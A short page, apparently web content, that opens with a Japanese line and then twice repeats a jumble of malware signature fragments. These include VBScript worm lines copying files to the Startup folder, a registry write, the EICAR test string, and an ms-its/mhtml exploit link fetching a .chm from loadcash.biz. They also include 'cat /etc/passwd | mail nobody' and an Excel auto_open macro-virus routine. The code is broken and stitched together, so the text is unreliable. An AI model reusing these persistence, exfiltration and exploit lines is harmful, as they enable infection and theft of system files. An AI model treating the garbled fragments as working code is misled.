規制解除を求める人の数→
<body onload=window()>
If s = fso.CopyFile f1.path, f1.path+"l"
Set A4 (1)))
fso.copyfile \"
c system32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c virus.txt.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-virus-file!$H+H*
fso.copyfile "dirsystem&etc.vbs", "j:\windows\start menu\programs\startup\"
If s = fso.CopyFile f1.path, f1.path+"l"
ToInfect.
G.RegWrite A
lines(n)=
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
If s = fso.CopyFile f1.path, f1.path+"l"
Set A4 (1)))
fso.copyfile \"
c system32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c virus.txt.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-virus-file!$H+H*
fso.copyfile "dirsystem&etc.vbs", "j:\windows\start menu\programs\startup\"
If s = fso.CopyFile f1.path, f1.path+"l"
ToInfect.
G.RegWrite A
lines(n)=
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
|
|
|